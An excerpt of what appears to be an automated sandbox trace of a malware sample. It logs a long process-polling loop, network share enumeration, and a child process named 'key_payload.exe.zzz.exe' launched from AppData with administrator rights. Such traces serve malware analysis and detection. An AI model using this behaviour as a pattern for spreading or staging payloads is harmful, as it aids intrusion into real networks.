(dwMilliseconds=0x1) [0252.787] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.787] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.802] CloseHandle (hObject=0x2f8) returned 1 [0252.802] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.802] Sleep (dwMilliseconds=0x1) [0252.818] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.818] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.834] CloseHandle (hObject=0x2f8) returned 1 [0252.834] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.834] Sleep (dwMilliseconds=0x1) [0252.850] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.850] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.867] CloseHandle (hObject=0x2f8) returned 1 [0252.867] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.867] Sleep (dwMilliseconds=0x1) [0252.881] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.881] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.909] CloseHandle (hObject=0x2f8) returned 1 [0252.909] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.909] Sleep (dwMilliseconds=0x1) [0252.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.913] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.927] CloseHandle (hObject=0x2f8) returned 1 [0252.928] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.928] Sleep (dwMilliseconds=0x1) [0252.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.945] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.959] CloseHandle (hObject=0x2f8) returned 1 [0252.959] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.959] Sleep (dwMilliseconds=0x1) [0252.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.974] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.990] CloseHandle (hObject=0x2f8) returned 1 [0252.990] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.990] Sleep (dwMilliseconds=0x1) [0253.006] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.006] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.021] CloseHandle (hObject=0x2f8) returned 1 [0253.021] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.021] Sleep (dwMilliseconds=0x1) [0253.040] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.040] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.057] CloseHandle (hObject=0x2f8) returned 1 [0253.057] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.057] Sleep (dwMilliseconds=0x1) [0253.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.068] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.093] CloseHandle (hObject=0x2f8) returned 1 [0253.093] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.093] Sleep (dwMilliseconds=0x1) [0253.101] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.101] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.115] CloseHandle (hObject=0x2f8) returned 1 [0253.115] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.115] Sleep (dwMilliseconds=0x1) [0253.131] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.131] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.146] CloseHandle (hObject=0x2f8) returned 1 [0253.146] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.146] Sleep (dwMilliseconds=0x1) [0253.166] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.167] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.178] CloseHandle (hObject=0x2f8) returned 1 [0253.178] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.178] Sleep (dwMilliseconds=0x1) [0253.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.193] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.215] CloseHandle (hObject=0x2f8) returned 1 [0253.215] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.215] Sleep (dwMilliseconds=0x1) [0253.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.224] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.241] CloseHandle (hObject=0x2f8) returned 1 [0253.241] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.241] Sleep (dwMilliseconds=0x1) [0253.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.256] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.271] CloseHandle (hObject=0x2f8) returned 1 [0253.271] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.271] Sleep (dwMilliseconds=0x1) [0253.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.289] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.303] CloseHandle (hObject=0x2f8) returned 1 [0253.303] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.303] Sleep (dwMilliseconds=0x1) [0253.318] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.318] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.334] CloseHandle (hObject=0x2f8) returned 1 [0253.334] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.334] Sleep (dwMilliseconds=0x1) [0253.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.349] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.365] CloseHandle (hObject=0x2f8) returned 1 [0253.365] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.365] Sleep (dwMilliseconds=0x1) [0253.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.381] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.398] CloseHandle (hObject=0x2f8) returned 1 [0253.398] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.398] Sleep (dwMilliseconds=0x1) [0253.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.415] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.428] CloseHandle (hObject=0x2f8) returned 1 [0253.428] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.428] Sleep (dwMilliseconds=0x1) [0253.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.468] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.474] CloseHandle (hObject=0x2f8) returned 1 [0253.474] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.474] Sleep (dwMilliseconds=0x1) [0253.491] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.491] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.506] CloseHandle (hObject=0x2f8) returned 1 [0253.506] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.506] Sleep (dwMilliseconds=0x1) [0253.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.521] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.537] CloseHandle (hObject=0x2f8) returned 1 [0253.537] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.537] Sleep (dwMilliseconds=0x1) [0253.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.552] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.568] CloseHandle (hObject=0x2f8) returned 1 [0253.568] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.568] Sleep (dwMilliseconds=0x1) [0253.584] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.584] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.600] CloseHandle (hObject=0x2f8) returned 1 [0253.600] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.600] Sleep (dwMilliseconds=0x1) [0253.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.617] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.630] CloseHandle (hObject=0x2f8) returned 1 [0253.630] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.630] Sleep (dwMilliseconds=0x1) [0253.646] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.646] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.662] CloseHandle (hObject=0x2f8) returned 1 [0253.662] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.662] Sleep (dwMilliseconds=0x1) [0253.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.678] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.693] CloseHandle (hObject=0x2f8) returned 1 [0253.693] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.693] Sleep (dwMilliseconds=0x1) [0253.709] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.709] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.724] CloseHandle (hObject=0x2f8) returned 1 [0253.724] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.724] Sleep (dwMilliseconds=0x1) [0253.740] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.740] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.756] CloseHandle (hObject=0x2f8) returned 1 [0253.756] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.756] Sleep (dwMilliseconds=0x1) [0253.772] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.772] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.788] CloseHandle (hObject=0x2f8) returned 1 [0253.788] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.788] Sleep (dwMilliseconds=0x1) [0253.803] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.803] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.818] CloseHandle (hObject=0x2f8) returned 1 [0253.818] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.818] Sleep (dwMilliseconds=0x1) [0253.834] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.834] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.849] CloseHandle (hObject=0x2f8) returned 1 [0253.849] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.849] Sleep (dwMilliseconds=0x1) [0253.865] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.865] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.881] CloseHandle (hObject=0x2f8) returned 1 [0253.881] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.881] Sleep (dwMilliseconds=0x1) [0253.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.902] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.912] CloseHandle (hObject=0x2f8) returned 1 [0253.912] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.912] Sleep (dwMilliseconds=0x1) [0253.927] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.927] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.945] CloseHandle (hObject=0x2f8) returned 1 [0253.945] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.945] Sleep (dwMilliseconds=0x1) [0253.960] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0253.960] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0253.974] CloseHandle (hObject=0x2f8) returned 1 [0253.974] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0253.975] Sleep (dwMilliseconds=0x1) [0253.991] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0253.991] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.006] CloseHandle (hObject=0x308) returned 1 [0254.006] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.006] Sleep (dwMilliseconds=0x1) [0254.021] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.021] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.037] CloseHandle (hObject=0x308) returned 1 [0254.037] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.037] Sleep (dwMilliseconds=0x1) [0254.053] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.053] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.068] CloseHandle (hObject=0x308) returned 1 [0254.068] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.068] Sleep (dwMilliseconds=0x1) [0254.084] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.084] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.099] CloseHandle (hObject=0x308) returned 1 [0254.099] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.099] Sleep (dwMilliseconds=0x1) [0254.115] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.115] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.130] CloseHandle (hObject=0x308) returned 1 [0254.130] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.130] Sleep (dwMilliseconds=0x1) [0254.146] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.146] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.162] CloseHandle (hObject=0x308) returned 1 [0254.162] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.162] Sleep (dwMilliseconds=0x1) [0254.178] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.178] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.225] CloseHandle (hObject=0x308) returned 1 [0254.225] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.225] Sleep (dwMilliseconds=0x1) [0254.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.226] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.236] CloseHandle (hObject=0x308) returned 1 [0254.236] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.237] Sleep (dwMilliseconds=0x1) [0254.238] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.238] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.258] CloseHandle (hObject=0x308) returned 1 [0254.258] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.258] Sleep (dwMilliseconds=0x1) [0254.274] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.274] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.290] CloseHandle (hObject=0x308) returned 1 [0254.290] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.290] Sleep (dwMilliseconds=0x1) [0254.305] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.305] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.322] CloseHandle (hObject=0x308) returned 1 [0254.322] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0254.322] Sleep (dwMilliseconds=0x1) [0254.365] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x308 [0254.365] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0xa) returned 0x102 [0254.368] CloseHandle (hObject=0x308) returned 1 [0254.368] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 1 [0254.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x362f7d8) [0254.369] GetLastError () returned 0x57 [0254.369] GetCurrentThreadId () returned 0xe64 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] RtlUnwind (TargetFrame=0x362f844, TargetIp=0x12763b1, ExceptionRecord=0x362f198, ReturnValue=0x0) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.369] SetLastError (dwErrCode=0x57) [0254.369] GetLastError () returned 0x57 [0254.370] SetLastError (dwErrCode=0x57) [0254.370] GetLastError () returned 0x57 [0254.370] SetLastError (dwErrCode=0x57) [0254.370] GetLastError () returned 0x57 [0254.370] SetLastError (dwErrCode=0x57) Thread: id = 64 os_tid = 0x92c [0235.518] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x476fb0c | out: lphEnum=0x476fb0c*=0xda3948) returned 0x0 [0238.982] WNetEnumResourceW (in: hEnum=0xda3948, lpcCount=0x476fb10, lpBuffer=0xda9d08, lpBufferSize=0x476fb08 | out: lpcCount=0x476fb10, lpBuffer=0xda9d08, lpBufferSize=0x476fb08) returned 0x0 [0238.982] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xda9d08, lphEnum=0x476fa94 | out: lphEnum=0x476fa94*=0xda33a0) returned 0x0 [0238.985] WNetEnumResourceW (in: hEnum=0xda33a0, lpcCount=0x476fa98, lpBuffer=0xdb04f0, lpBufferSize=0x476fa90 | out: lpcCount=0x476fa98, lpBuffer=0xdb04f0, lpBufferSize=0x476fa90) returned 0x103 [0238.985] WNetCloseEnum (hEnum=0xda33a0) returned 0x0 [0238.986] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xda9d28, lphEnum=0x476fa94 | out: lphEnum=0x476fa94*=0x476fad0) returned 0x4b8 [0254.326] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xda9d48, lphEnum=0x476fa94 | out: lphEnum=0x476fa94*=0x476fad0) returned 0x4c6 [0254.327] WNetEnumResourceW (in: hEnum=0xda3948, lpcCount=0x476fb10, lpBuffer=0xda9d08, lpBufferSize=0x476fb08 | out: lpcCount=0x476fb10, lpBuffer=0xda9d08, lpBufferSize=0x476fb08) returned 0x103 [0254.327] WNetCloseEnum (hEnum=0xda3948) returned 0x0 [0254.327] SendMessageW (hWnd=0x7004a, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Process: id = "7" image_name = "key_payload.exe.zzz.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe" page_root = "0x726f6000" os_pid = "0xc0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], 